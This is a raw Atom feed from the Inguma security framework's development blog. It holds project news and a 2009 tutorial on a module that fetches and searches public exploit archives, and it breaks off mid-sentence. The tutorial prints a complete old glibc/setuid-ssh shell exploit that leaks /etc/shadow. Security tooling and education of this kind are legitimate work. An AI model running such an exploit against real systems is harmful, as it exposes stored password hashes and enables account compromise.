src='http://2.bp.blogspot.com/_cVMUD1zJ92Q/TFvSBaUDZyI/AAAAAAAAAKo/DpmEBOppQ_U/S220/Avatar_pocoyo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-YH_uodmLzsA/Te9iEdaDTVI/AAAAAAAAADU/v47XhuZcP2s/s72-c/top.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-6526975639347567758</id><published>2011-05-09T21:21:00.001+02:00</published><updated>2011-05-17T19:36:35.120+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='infrastructure'/><category scheme='http://www.blogger.com/atom/ns#' term='IPv6'/><title type='text'>Inguma server reachable over IPv6.</title><content type='html'>I just added AAAA records to the zones for &lt;a href="http://inguma.eu"&gt;inguma.eu&lt;/a&gt; and inguma-framework.org!  I don't think I broke anything, but just for you to know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-6526975639347567758?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/6526975639347567758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=6526975639347567758' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/6526975639347567758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/6526975639347567758'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/05/inguma-server-reachable-over-ipv6.html' title='Inguma server reachable over IPv6.'/><author><name>Ender</name><uri>http://www.blogger.com/profile/14709596788489094437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_cVMUD1zJ92Q/TFvSBaUDZyI/AAAAAAAAAKo/DpmEBOppQ_U/S220/Avatar_pocoyo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-6506460798785735370</id><published>2011-04-27T11:28:00.003+02:00</published><updated>2011-07-05T19:50:23.552+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='infrastructure'/><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>Mailing lists and more in place.</title><content type='html'>Since the last post we have been busy, not only fixing bugs in Inguma but also adding some pieces of infrastructure to the project to improve the available facilities to develop Inguma.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Two mailing lists are ready for use: &lt;a href="http://inguma.eu/lists/listinfo/inguma-announce"&gt;inguma-announce&lt;/a&gt; and &lt;a href="http://inguma.eu/lists/listinfo/inguma-devel"&gt;inguma-devel&lt;/a&gt;.  Anyone familiar with OSS will infer their purpose.&lt;/li&gt;&lt;li&gt;Redmine has been upgraded to 1.1.2.&lt;/li&gt;&lt;li&gt;We are trying to import all the issues from the Google Code project into Redmine to avoid losing user reports.  If you have any bug, report or suggestion, please create a Redmine account to add a new issue or contact our development list!&lt;/li&gt;&lt;li&gt;In the very near future we intend to publish updates also by Twitter to make people aware of our advancements.  Keep tuned!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Also do not forget that we are available in #inguma on Freenode IRC network.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-6506460798785735370?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/6506460798785735370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=6506460798785735370' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/6506460798785735370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/6506460798785735370'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/04/mailing-lists-and-more-in-place.html' title='Mailing lists and more in place.'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-4533205797225166231</id><published>2011-02-21T16:46:00.001+01:00</published><updated>2011-05-19T06:06:18.019+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Inguma keeps moving...</title><content type='html'>&lt;div style="text-align: left;"&gt;First of all we would like to thank you the great welcome you have given to the new release; we will do our best to keep improving the project.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Since the 0.2 release many improvements have been done to Inguma and we will try to show you some of them on this post.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Today we release a new project site and leave Google Code. The dev team has discussed a lot and finally decided to use our previous development site as the main one. You can find it at:&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;a href="http://www.inguma-framework.org/"&gt;http://www.inguma-framework.org&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;or, for the lazy ones (including ourselves), the shorter:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.inguma.eu/"&gt;http://www.inguma.eu&lt;/a&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Lots of bugs have been fixed since 0.2 release and now Inguma should be fairly more stable, mainly the GUI.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;As the GUI released at 0.2 had (and still has) many bugs and crashes quite &lt;span class="hps" title="Click for alternate translations"&gt;frequently, we a&lt;/span&gt;dded a new Autosave feature. It will save automatically the KB after every module run and try to recover it at every application start. Unless you manually save the KB or reject to load at start it will be available to recover your work.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/-zra5UNwMevs/TWLLRyCzr2I/AAAAAAAAABw/CbdRr2Wb-mk/s1600/Autosave.png"&gt;&lt;img src="http://3.bp.blogspot.com/-zra5UNwMevs/TWLLRyCzr2I/AAAAAAAAABw/CbdRr2Wb-mk/s320/Autosave.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5576242794989858658" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 159px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;We have added autofill on targetDialog so you don't have to manually fill the module target, it will be filled automatically with the IP address of the node.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/-DrVvDI0BSNA/TWLLl7Z7gjI/AAAAAAAAAB4/WCUXrcUUqJE/s1600/Autofill.png"&gt;&lt;img src="http://3.bp.blogspot.com/-DrVvDI0BSNA/TWLLl7Z7gjI/AAAAAAAAAB4/WCUXrcUUqJE/s320/Autofill.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5576243141100143154" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 155px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Added tooltips to confusing parameters of the gather dialog with a little description of the available options.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Added picture support on graphs. Actually it shows OS icon when possible or a generic icon when OS is uknown.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/-ust1ecD4oKA/TWLLxQuAILI/AAAAAAAAACA/LNxs-1WxBYQ/s1600/OS_Icons.png"&gt;&lt;img src="http://2.bp.blogspot.com/-ust1ecD4oKA/TWLLxQuAILI/AAAAAAAAACA/LNxs-1WxBYQ/s320/OS_Icons.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5576243335800037554" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 113px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Right click on web vuln (OSVDB) at Vulns per port graph opens vulnerability info on browser.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/-hGGZnyRf2PI/TWLRj9xczKI/AAAAAAAAACQ/YQObcxx7toA/s1600/web_vuln.png"&gt;&lt;img src="http://4.bp.blogspot.com/-hGGZnyRf2PI/TWLRj9xczKI/AAAAAAAAACQ/YQObcxx7toA/s320/web_vuln.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5576249704445693090" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 170px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Added more dependency checks (graphviz, Impacket, PySNMP) to help identify and manage start up problems.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;Checking:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;GTK UI dependencies... &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;WARNING: No route found for IPv6 destination :: (no default route?)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Scapy... &lt;span class="Apple-tab-span" style="white-space:pre"&gt;  &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Network connectivity... &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;GtkSourceView2... &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;VTE Terminal... &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Impacket library... &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;PySNMP library... &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Graphviz binaries... &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Improved performance&lt;/b&gt; of TCP, UCP and ICMP ping modules and "portscan" module (SYN and ACK). So now add target dialog has improved a lot the speed by using "portscan" instead of "tcpscan" and is more complete by &lt;b&gt;using "identify" on opened ports&lt;/b&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Half of the users told us that they wanted module output on new dialogs and the other half prefered to have it on the "Logs" tab at the bottom. So finally we changed module output behavior using SHOW_MODULE_WIN at config.py. If set to true it will popup module ouput on a new dialog but if set to False it will drop it to the Logs Tab.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/-JODZyjAVqvM/TWLOQQaAp4I/AAAAAAAAACI/TEvViwoBRzI/s1600/output.png"&gt;&lt;img src="http://2.bp.blogspot.com/-JODZyjAVqvM/TWLOQQaAp4I/AAAAAAAAACI/TEvViwoBRzI/s320/output.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5576246067315386242" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 202px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;For more info&lt;span&gt;&lt;span&gt;rmation do not hesitate to contact the team using any of the options listed on this wiki &lt;a href="http://inguma.eu/projects/inguma/wiki/Contact"&gt;page&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: 24px; "&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="hps" title="Click for alternate translations"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-4533205797225166231?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/4533205797225166231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=4533205797225166231' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4533205797225166231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4533205797225166231'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/02/inguma-keeps-moving.html' title='Inguma keeps moving...'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-zra5UNwMevs/TWLLRyCzr2I/AAAAAAAAABw/CbdRr2Wb-mk/s72-c/Autosave.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-1784109330555959766</id><published>2011-01-16T23:05:00.003+01:00</published><updated>2011-09-04T05:15:16.720+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>We are back!</title><content type='html'>&lt;div&gt;It's been a long time since our last post and most of the people thought that Inguma was dead, but we are back and we have some news for you. Let's see what has changed since our last post.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Today we launch a &lt;a href="http://code.google.com/p/inguma/"&gt;new site&lt;/a&gt; for the project hosted on Google Code. Almost all the documentation has been moved from the old site and many more has been added. There are still lots to be added but there is enough to get started using the software.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Of course many bugs have been fixed, some new modules added and even a few have been removed but the most exciting feature we have added to this release is a fancy new GUI.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://1.bp.blogspot.com/_0v9gAhrZ96Y/TTNxsWs2v3I/AAAAAAAAABk/F_Smyk5GD-o/s1600/Step-9.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://1.bp.blogspot.com/_0v9gAhrZ96Y/TTNxsWs2v3I/AAAAAAAAABk/F_Smyk5GD-o/s320/Step-9.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5562914971554594674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;The old Qt GUI has been removed and the new one is PyGtk based, of course the good command line one is still there. &lt;b&gt;This new GUI can't be considered yet stable&lt;/b&gt; and not all the modules are actually working properly on it but it's stable enough to be released and to perform most of the basic functionalities.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If the command line one is like a toolbox with high scripting capabilities, the GUI is an attempt to integrate all those tools into a common workflow and add many data visualization aids. The main command line interface should work on the same platforms that before (Linux, Windows and MacOS) but the GUI isn't ready neither tested on other platform that Linux.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Instead of writing here all the new features or a deep description of the new GUI you can go directly to the &lt;a href="http://code.google.com/p/inguma/wiki/ConsoleQuickStart"&gt;Console&lt;/a&gt; or &lt;a href="http://code.google.com/p/inguma/wiki/PyGtkQuickStart"&gt;GUI quick&lt;/a&gt; start guides and read about them. The code can be downloaded packed in a tar.gz or from the mercurial repository if you prefer to have your code up to date with all the new features that we will keep adding.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;That's all for the moment; thanks to all the people that has supported me during this time and I hope you enjoy using and, hopefully, improving this new release.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-1784109330555959766?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/1784109330555959766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=1784109330555959766' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/1784109330555959766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/1784109330555959766'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/01/we-are-back.html' title='We are back!'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_0v9gAhrZ96Y/TTNxsWs2v3I/AAAAAAAAABk/F_Smyk5GD-o/s72-c/Step-9.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-7578424330613646891</id><published>2009-01-15T22:20:00.001+01:00</published><updated>2011-08-15T05:14:18.728+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>Exploits for all!</title><content type='html'>It's been a while since my last post, as always ;), and today we are going to see a new module that almost every Inguma's user has been waiting.&lt;br /&gt;&lt;br /&gt;Actually the Inguma's development team is just two persons and the project is still young and lacks many features but one of them is even more necessary: exploits. Inguma itself requires lots of development so we can't spent much more time developing exploits but with this module I will try to solve this problem a little.&lt;br /&gt;&lt;br /&gt;The new module, called 'localxpl' (local exploits), will allow Inguma to download and manage exploits from two important exploits repositories: &lt;a href="http://www.milw0rm.com/"&gt;Milw0rm&lt;/a&gt; an &lt;a href="http://www.packetstormsecurity.org/"&gt;Packetstorm&lt;/a&gt;. Let's see it in action in order to see what and how can do this new module. The new module can be found under the category 'exploits' and once you type 'localxpl' you will enter into it's interface:&lt;br /&gt;&lt;pre&gt;inguma&gt; show exploits&lt;br /&gt;&lt;br /&gt;List of exploit modules&lt;br /&gt;-----------------------&lt;br /&gt;&lt;br /&gt;(...)&lt;br /&gt;localxpl      A Module to fetch and manage exploits from many sources&lt;br /&gt;(...)&lt;br /&gt;&lt;br /&gt;inguma&gt; localxpl&lt;br /&gt;Exploits from Milw0rm not yet downloaded&lt;br /&gt;Exploits from Packetstorm not yet downloaded&lt;br /&gt;&lt;br /&gt;Actual remotedb selected: milw0rm&lt;br /&gt;LOCXPL&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We can see that it informs us that we haven't downloaded any exploit yet and that, by default, the repository to work with is milw0rm. To see the options we have just to type 'help':&lt;br /&gt;&lt;pre&gt;LOCXPL&gt; help&lt;br /&gt;&lt;br /&gt;Inguma's Local Exploit DDBB Help&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;remotedb                     Database to work with: milw0rm or packetstorm&lt;br /&gt;fetch                        Download exploits from remotedb&lt;br /&gt;help                         Show this help&lt;br /&gt;exit                         Exits the DDBB&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As we have no local repository yet, the options shown are just a few: select the repository to get (milw0rm or packetstorm) and download the exploits from the selected repository. As we have no other choice with milw0rm selected, let's download the exploits with the command 'fetch' and see the new options:&lt;br /&gt;&lt;pre&gt;LOCXPL&gt; fetch&lt;br /&gt;Dir:  /inguma/modules/exploits/&lt;br /&gt;Downloading  http://www.milw0rm.com/sploits/milw0rm.tar.bz2&lt;br /&gt;Extracting files...&lt;br /&gt;Exploits successfully downloaded on Thu Jan 15 20:19:38 2009&lt;br /&gt;Operation Complete&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now we know that exploits are going to be stored under directory exploits and that the download finished fine; the path to store the exploits can be modified easily on the source of the module. Type 'help' again to see the new options:&lt;br /&gt;&lt;pre&gt;Inguma's Local Exploit DDBB Help&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;remotedb                     Database to work with: milw0rm or packetstorm&lt;br /&gt;fetch                        Download exploits from remotedb&lt;br /&gt;&lt;br /&gt;Manage Milw0rm DDBB commands&lt;br /&gt;----------------------------&lt;br /&gt;&lt;br /&gt;list                         Shows list of local exploits. VERY VERBOSE&lt;br /&gt;search                       Search exploits; use the 'tag' variable&lt;br /&gt;Example: to search for windows exploits&lt;br /&gt;'tag Windows'&lt;br /&gt;rport                        Shows exploits afecting a remote port&lt;br /&gt;Define the port using command 'port 22'&lt;br /&gt;Port must be numeric: 22 intead of SSH&lt;br /&gt;correlate                    Searches the DDBB for all exploits matching rport&lt;br /&gt;for all the ports of a scaned machine. Specify&lt;br /&gt;target machine with 'target 192.168.0.1'&lt;br /&gt;Be sure to scan the machine before!&lt;br /&gt;show                         Shows selected exploit source code&lt;br /&gt;Select exploit using xplpath command:&lt;br /&gt;'xplpath path/to/exploit'&lt;br /&gt;&lt;br /&gt;help                         Show this help&lt;br /&gt;exit                         Exits the DDBB&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now that we have some exploits downloaded we have some more operations to perform with them. For example we can list all the exploits downloaded from milw0rm just by typing 'list' but this will output lots of them so... Also we can now search all the exploits for a given keywords just by setting it with the commands 'tag' and 'search':&lt;br /&gt;&lt;pre&gt;LOCXPL&gt; tag openssh&lt;br /&gt;New search tag:  openssh&lt;br /&gt;LOCXPL&gt; search&lt;br /&gt;Searching milw0rm local DDBB for tag: openssh&lt;br /&gt;./platforms/linux/local/258.sh glibc-2.2 and openssh-2.3.0p1 exploits glibc &gt;= 2.1.9x&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We got one match for an exploit related to 'OpenSSH' and now we can get more information just by displaying its contents; just set the path to th exploit using the command 'xplpath' and the path you got from the search results and type show:&lt;br /&gt;&lt;pre&gt;LOCXPL&gt; xplpath ./modules/exploits/milw0rm/platforms/linux/local/258.sh&lt;br /&gt;./modules/exploits/milw0rm/platforms/linux/local/258.sh set to show.&lt;br /&gt;&lt;br /&gt;LOCXPL&gt; show&lt;br /&gt;# Charles Stevenson &lt;csteven@newhope.terraplex.com&gt;&lt;br /&gt;# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)&lt;br /&gt;# This exploits is for glibc &gt;= 2.1.9x.&lt;br /&gt;# (****krochos@linuxmail.org****)&lt;br /&gt;# Edit this if you have a problem with path&lt;br /&gt;&lt;br /&gt;ssh=/usr/bin/ssh&lt;br /&gt;traceroute=/usr/sbin/traceroute&lt;br /&gt;FILE=/etc/shadow        # File to read&lt;br /&gt;###############################################################################&lt;br /&gt;&lt;br /&gt;echo "$ssh"&lt;br /&gt;echo "[*] Checking permisions..."&lt;br /&gt;&lt;br /&gt;if [ ! -u $ssh ]; then&lt;br /&gt;echo "$ssh is NOT setuid on this system or does not exist at all!"&lt;br /&gt;if [ ! -u $traceroute ]; then&lt;br /&gt;echo "$traceroute is NOT setuid on this system or does not exist at all!"&lt;br /&gt;exit 0&lt;br /&gt;fi&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;export RESOLV_HOST_CONF=$FILE&lt;br /&gt;&lt;br /&gt;echo "[*] Glibc bug found by Charles Stevenson &lt;csteven@newhope.terraplex.com&gt;"&lt;br /&gt;echo "[*] krochos@linuxmail.org"&lt;br /&gt;sleep 1&lt;br /&gt;echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"&lt;br /&gt;ssh lt 2&gt;/tmp/.resolv&lt;br /&gt;cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2001-01-25]&lt;br /&gt;&lt;/csteven@newhope.terraplex.com&gt;&lt;/csteven@newhope.terraplex.com&gt;&lt;/pre&gt;&lt;br /&gt;Another option is to list all the exploits affecting a given remote port using the command 'rport' after specifying the remote port with the command 'port' as explained in the help; the command 'correlate' will be shown late on this post.&lt;br /&gt;&lt;br /&gt;Now that we have seen what we can do with the Milw0rm repository let's see what can we do with Packetstorm; first we switch to packetstorm with the command 'remotedb' and type help:&lt;br /&gt;&lt;pre&gt;LOCXPL&gt; remotedb packetstorm&lt;br /&gt;New remotedb selected:  packetstorm&lt;br /&gt;LOCXPL&gt; help&lt;br /&gt;&lt;br /&gt;Inguma's Local Exploit DDBB Help&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;remotedb                     Database to work with: milw0rm or packetstorm&lt;br /&gt;fetch                        Download exploits from remotedb&lt;br /&gt;years                        A space separated list of years to fetch&lt;br /&gt;Example: 'years 06 07 08'&lt;br /&gt;help                         Show this help&lt;br /&gt;exit                         Exits the DDBB&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As with milw0rm, until we get the exploits we have few choices. But now we have one difference, packetstorm classify it's exploits by year so we can specify the years we want to fetch with the command 'years'; by default exploits from the years 2007/08 will be downloaded.&lt;br /&gt;&lt;pre&gt;LOCXPL&gt; years 08&lt;br /&gt;Years:  ['08']&lt;br /&gt;LOCXPL&gt; fetch&lt;br /&gt;Dir:  /inguma/modules/exploits/packetstorm/&lt;br /&gt;Start: 2008&lt;br /&gt;Downloading: http://packetstormsecurity.org/0812-exploits/2008-exploits.tgz ...&lt;br /&gt;Done. Extracting files...&lt;br /&gt;Done: 2008&lt;br /&gt;Exploits successfully downloaded on Thu Jan 15 20:28:44 2009&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Almost the same as with milw0rm till now. From now on if we fetch exploits from milw0rm or packetstorm they will be updated, and if we specify 'years 07 08' and fetch again only the exploits of year 2007 will be downloaded. So let's see the new options we have now for the packetstorm repository:&lt;br /&gt;&lt;pre&gt;Inguma's Local Exploit DDBB Help&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;remotedb                     Database to work with: milw0rm or packetstorm&lt;br /&gt;fetch                        Download exploits from remotedb&lt;br /&gt;years                        A space separated list of years to fetch&lt;br /&gt;Example: 'years 06 07 08'&lt;br /&gt;&lt;br /&gt;Manage Packetstorm DDBB commands&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;list                         Shows list of local exploits. VERY VERBOSE&lt;br /&gt;Also navigate the exploits listing going with&lt;br /&gt;your browser to, for example:&lt;br /&gt;/inguma/modules/exploits/packetstorm/08-exploits/0801-exploits/index.html&lt;br /&gt;search                       Search exploits; use the 'tag' variable&lt;br /&gt;Example: to search for windows exploits&lt;br /&gt;Example: 'tag Windows Vista'&lt;br /&gt;Optionaly append a year to search only on exploits of this year&lt;br /&gt;Example: 'year 08'&lt;br /&gt;show                         Shows selected exploit source code&lt;br /&gt;Select exploit using xplpath command:&lt;br /&gt;'xplpath path/to/exploit'&lt;br /&gt;&lt;br /&gt;help                         Show this help&lt;br /&gt;exit                         Exits the DDBB&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As we can see options are almost the same that we have with milw0rm but here we can't search by port; if look at the help of the command list we can see that we can browse the exploits of this repository by opening the file index.html that exists on each directory of the repository, just change year and month on the path.&lt;br /&gt;&lt;br /&gt;And the last command we are going to see is the 'correlate' that we can find in the milw0rm help. With this command we can automatically search all the exploits that may affect all the ports that have been reported open by the port scans. So, the first thing we need to 